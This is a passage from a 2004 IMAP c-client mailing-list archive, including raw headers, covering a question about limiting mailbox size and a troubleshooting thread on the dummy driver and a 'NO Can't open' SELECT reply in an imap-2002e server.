    Mar 12 08:51:43 mail sendmail[18328]:=20 i2C1phh3018328: from=3D<>, = size=3D1270, class=3D0,=20 nrcpts=3D8
    Mar 12 08:52:49 mail sendmail[18648]:=20 i2C1qmh3018648: from=3D<>, = size=3D2458, class=3D0,=20 nrcpts=3D0
    Mar 12 08:53:22 mail sendmail[18654]:=20 i2C1rGh3018654: from=3D<>, size=3D0, class=3D0, nrcpts=3D0
    Mar 12 08:54:16 mail sendmail[18723]:=20 i2C1sBh3018723: from=3D<>, = size=3D33370, class=3D0,=20 nrcpts=3D0
    Mar 12 08:54:27 mail sendmail[18843]:=20 i2C1sPh5018843: from=3D<>, = size=3D2824, class=3D0,=20 nrcpts=3D1
    Mar 12 08:54:40 mail sendmail[19009]:=20 i2C1sdh5019009: from=3D<>, = size=3D2852, class=3D0,=20 nrcpts=3D1
     
    Thanks,
    Man
    ------=_NextPart_000_08C2_01C4081C.675C1150-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 15 03:10:27 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 15 Mar 2004 03:10:27 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2FBARSf004952 for ; Mon, 15 Mar 2004 03:10:27 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2FBAP4U009411 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 15 Mar 2004 03:10:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i2FB8pLM013642; Mon, 15 Mar 2004 03:08:52 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2FB6ZQj060016 for ; Mon, 15 Mar 2004 03:06:35 -0800 Received: from clickonlinenetworks.com ([202.147.160.231]) by mxu1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2FB6U3H025550 for ; Mon, 15 Mar 2004 03:06:31 -0800 Received: from serverxx (clickonline.net [10.0.0.3]) by clickonlinenetworks.com (Postfix) with SMTP id 229F2742A1 for ; Mon, 15 Mar 2004 11:01:24 -0500 (EST) Message-Id: <001701c40a7d$8baf5590$0300000a@serverxx> Date: Mon, 15 Mar 2004 16:06:20 +0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Syed Faisal Gillani" To: Subject: i want to ask questions regarding imapd am i on the right list ? MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0014_01C40AA7.746CF390" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.0 X-Uwash-Spam: Gauge=XIIII, Probability=14%, Report='PRIORITY_NO_NAME 0.716, HTML_70_90 0.572, __SANE_MSGID 0, __TO_MALFORMED_2 0, SUBJECT_IS_LIST 0, __MIME_VERSION 0, __CTYPE_MULTIPART_ALT 0, __EVITE_CTYPE 0, __NEXTPART_ALL 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __NEXTPART_NORMAL 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_META 0, __MIME_HTML 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_HEAD 0, __HAS_MSGID 0, __OUTLOOK_MSGID_1 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0014_01C40AA7.746CF390 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable i want to ask questions regarding imapd am i on the right list ? E-mail powered by ClickOnline Networks ------=_NextPart_000_0014_01C40AA7.746CF390 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

    i want to ask questions regarding imapd am i on the right list=20 ?

    E-mail powered by ClickOnline=20 Networks
    ------=_NextPart_000_0014_01C40AA7.746CF390-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Mar 16 02:23:07 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Mar 2004 02:23:07 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2GAN7k2025755 for ; Tue, 16 Mar 2004 02:23:07 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2GAN5Xb022025 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 16 Mar 2004 02:23:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i2GAM9l6012962; Tue, 16 Mar 2004 02:22:10 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2GAKXop068820 for ; Tue, 16 Mar 2004 02:20:33 -0800 Received: from clickonlinenetworks.com ([202.147.160.231]) by mxu3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2GAKRVR030719 for ; Tue, 16 Mar 2004 02:20:31 -0800 Received: from serverxx (clickonline.net [10.0.0.3]) by clickonlinenetworks.com (Postfix) with SMTP id 27C7C742BA for ; Tue, 16 Mar 2004 10:15:12 -0500 (EST) Message-Id: <007e01c40b40$43414520$0300000a@serverxx> Date: Tue, 16 Mar 2004 15:20:10 +0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Syed Faisal Gillani" To: Subject: limit the size of my mailbox MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_007B_01C40B6A.2C04FDA0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.0 X-Uwash-Spam: Gauge=XII, Probability=12%, Report='PRIORITY_NO_NAME 0.716, BIG_FONT 0.146, HTML_50_70 0.092, MAILTO_LINK 0.001, __MIME_VERSION 0, __CTYPE_MULTIPART_ALT 0, __EVITE_CTYPE 0, __NEXTPART_ALL 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __NEXTPART_NORMAL 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, __HAS_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_META 0, __MIME_HTML 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_HEAD 0, __OUTLOOK_MSGID_1 0, __SANE_MSGID 0, __TO_MALFORMED_2 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_007B_01C40B6A.2C04FDA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Well i am a satisfiest user of the IMAP salution that u offer .. i want = to ask how can i limit the size of my mailbox in imapd ? thanks c-client@u.washington.edu E-mail powered by ClickOnline Networks ------=_NextPart_000_007B_01C40B6A.2C04FDA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Well i am a=20 satisfiest user of the IMAP salution that u offer .. i want to
    ask = how can i=20 limit the size of my mailbox in imapd=20 ?

    thanks

    c-client@u.washington.edu
    E-mail powered by ClickOnline=20 Networks
    ------=_NextPart_000_007B_01C40B6A.2C04FDA0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Mar 16 13:54:13 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Mar 2004 13:54:13 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2GLsCYT023122 for ; Tue, 16 Mar 2004 13:54:12 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2GLsB25011500 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 16 Mar 2004 13:54:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i2GLqoDt012762; Tue, 16 Mar 2004 13:52:50 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2GLpJwh013610 for ; Tue, 16 Mar 2004 13:51:19 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2GLpJZE013360 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 16 Mar 2004 13:51:19 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2GLpI6n021155; Tue, 16 Mar 2004 13:51:18 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2GLpHXm017452 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 16 Mar 2004 13:51:17 -0800 Message-Id: Date: Tue, 16 Mar 2004 13:51:18 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Syed Faisal Gillani Cc: c-client@u.washington.edu Subject: Re: limit the size of my mailbox In-Reply-To: <007e01c40b40$43414520$0300000a@serverxx> References: <007e01c40b40$43414520$0300000a@serverxx> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 16 Mar 2004, Syed Faisal Gillani wrote: > Well i am a satisfiest user of the IMAP salution that u offer .. i want to > ask how can i limit the size of my mailbox in imapd ? This is generally a function of the software which you are using. For example, at the server level, the system administrator can impose disk quotas limiting how much space you can use. Some servers allow user management of quotas between mailboxes, but this is not widely implemented. Your IMAP client may also have features to clean up your mailbox; you will have to check the documentation of your IMAP client for more information. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Mar 25 07:09:26 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Mar 2004 07:09:26 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PF9QqV019956 for ; Thu, 25 Mar 2004 07:09:26 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PF9OAT011462 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 25 Mar 2004 07:09:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2PF8Tm8011186; Thu, 25 Mar 2004 07:08:29 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2PF6CMd039598 for ; Thu, 25 Mar 2004 07:06:13 -0800 Received: from oss2.liv.ac.uk (oss2.liv.ac.uk [138.253.100.92]) by mxu3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2PF6AK2006848 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 25 Mar 2004 07:06:12 -0800 Received: from ajtpc.liv.ac.uk ([138.253.253.66]) by oss2.liv.ac.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1B6WQr-00063F-0P for c-client@u.washington.edu; Thu, 25 Mar 2004 15:06:09 +0000 Message-Id: Date: Thu, 25 Mar 2004 15:06:04 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Alan Thew To: c-client@u.washington.edu Subject: dummy driver, do I need it? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: qq11@ajtpc.liv.ac.uk X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I cannot see the need of this and it's generating a NO Can't open ...path/dir message, having lready (correctly) found a mbx inbox. Thanks -- Alan Thew alan.thew@liverpool.ac.uk Computing Services,University of Liverpool Fax: +44 151 794-4442 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Mar 25 09:09:43 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Mar 2004 09:09:43 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PH9hxm025148 for ; Thu, 25 Mar 2004 09:09:43 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PH9ftW016754 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 25 Mar 2004 09:09:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2PH4kKR015672; Thu, 25 Mar 2004 09:04:46 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2PH3Vo3024144 for ; Thu, 25 Mar 2004 09:03:31 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu6.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2PH3URC001943 for ; Thu, 25 Mar 2004 09:03:30 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PH3TPX004487; Thu, 25 Mar 2004 09:03:29 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PH3TWE010148; Thu, 25 Mar 2004 09:03:29 -0800 Message-Id: Date: Thu, 25 Mar 2004 09:03:29 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Alan Thew Cc: c-client@u.washington.edu Subject: Re: dummy driver, do I need it? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 25 Mar 2004, Alan Thew wrote: > I cannot see the need of this and it's generating a > NO Can't open ...path/dir > message, having lready (correctly) found a mbx inbox. Yes, the dummy driver is essential to c-client's operation. Several things won't work without it. Please describe the problem that you are having (along with what hacks you've made to c-client), and I'll be happy to help you towards the right solution. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Mar 25 11:50:20 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Mar 2004 11:50:20 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PJoKEt000434 for ; Thu, 25 Mar 2004 11:50:20 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PJoHwa024339 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 25 Mar 2004 11:50:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2PJnHwB014770; Thu, 25 Mar 2004 11:49:17 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2PJmBDQ084314 for ; Thu, 25 Mar 2004 11:48:11 -0800 Received: from oss2.liv.ac.uk (oss2.liv.ac.uk [138.253.100.92]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2PJm9sa019900 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 25 Mar 2004 11:48:10 -0800 Received: from ajtpc.liv.ac.uk ([138.253.253.66]) by oss2.liv.ac.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1B6apj-0006Rw-2K; Thu, 25 Mar 2004 19:48:07 +0000 Message-Id: Date: Thu, 25 Mar 2004 19:48:09 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Alan Thew To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: dummy driver, do I need it? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: qq11@ajtpc.liv.ac.uk X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 25 Mar 2004 09:03 , Mark Crispin said: > On Thu, 25 Mar 2004, Alan Thew wrote: > > I cannot see the need of this and it's generating a > > NO Can't open ...path/dir > > message, having already (correctly) found a mbx inbox. > > Yes, the dummy driver is essential to c-client's operation. Several > things won't work without it. > > Please describe the problem that you are having (along with what hacks > you've made to c-client), and I'll be happy to help you towards the right > solution. > I have a test imap-2002e server. I've only changed the section in env_init.c to point the `home' directory to somewhere specific, away from the real home dir. This takes the form of /path/to/user In one user dir is a mbx INBOX folder with a path /path/to/user/INBOX when I login to the server, I get the following back from a 'select inbox' . select inbox * 10439 EXISTS * NO Can't open /path/to/user: not a selectable mailbox * 21 RECENT * OK [UIDVALIDITY 1080129274] UID validity status * OK [UIDNEXT 10473] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags * OK [UNSEEN 1] first unseen message in /path/to/user/INBOX . OK [READ-WRITE] SELECT completed The NO reply is when the UW server tried to open the user dir, (and based on truss output) which appears to be what the drivers.txt file seems to say. Why having found a valid mbx folder does it try something else as well? Thanks -- Alan Thew alan.thew@liverpool.ac.uk Computing Services,University of Liverpool Fax: +44 151 794-4442 From pinedev@shivax2.cac.washington.edu Thu Mar 25 12:00:31 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Mar 2004 12:00:31 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PK0VLw001009 for ; Thu, 25 Mar 2004 12:00:31 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PK0TIW024934 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 25 Mar 2004 12:00:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2PJxUxv011468; Thu, 25 Mar 2004 11:59:30 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2PJwkKk040534 for ; Thu, 25 Mar 2004 11:58:46 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2PJwjbf029991 for ; Thu, 25 Mar 2004 11:58:45 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PJwhlA028248; Thu, 25 Mar 2004 11:58:44 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PJwhTs020596; Thu, 25 Mar 2004 11:58:43 -0800 Message-Id: Date: Thu, 25 Mar 2004 11:58:43 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Alan Thew Cc: c-client@u.washington.edu Subject: Re: dummy driver, do I need it? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 25 Mar 2004, Alan Thew wrote: > I have a test imap-2002e server. I've only changed the section in > env_init.c to point the `home' directory to somewhere specific, away from > the real home dir. What, precisely, did you do? Did you just change the mymailboxdir() function (which is the proper course of action)? Or did you do something else? In particular, did you change the sysinbox() function? That error message is not from the dummy driver. I have a guess as to what is causing it, but I need more information first. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Mar 25 12:02:41 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Mar 2004 12:02:41 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PK2fOn001082 for ; Thu, 25 Mar 2004 12:02:41 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PK2dqv004162 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 25 Mar 2004 12:02:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2PK1o0j013154; Thu, 25 Mar 2004 12:01:50 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2PJxb9v083208 for ; Thu, 25 Mar 2004 11:59:37 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2PJxaF9025476 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 25 Mar 2004 11:59:36 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PJxZ9W012972; Thu, 25 Mar 2004 11:59:35 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PJxZHY020743; Thu, 25 Mar 2004 11:59:35 -0800 Message-Id: Date: Thu, 25 Mar 2004 11:59:35 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Alan Thew Cc: c-client@u.washington.edu Subject: Re: dummy driver, do I need it? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Another question: did you change the definition of MAILSPOOL in the Makefile? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Mar 25 12:11:17 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Mar 2004 12:11:17 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PKBGKJ001368 for ; Thu, 25 Mar 2004 12:11:16 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2PKBFQ7025547 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 25 Mar 2004 12:11:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2PKA1qQ012806; Thu, 25 Mar 2004 12:10:01 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu 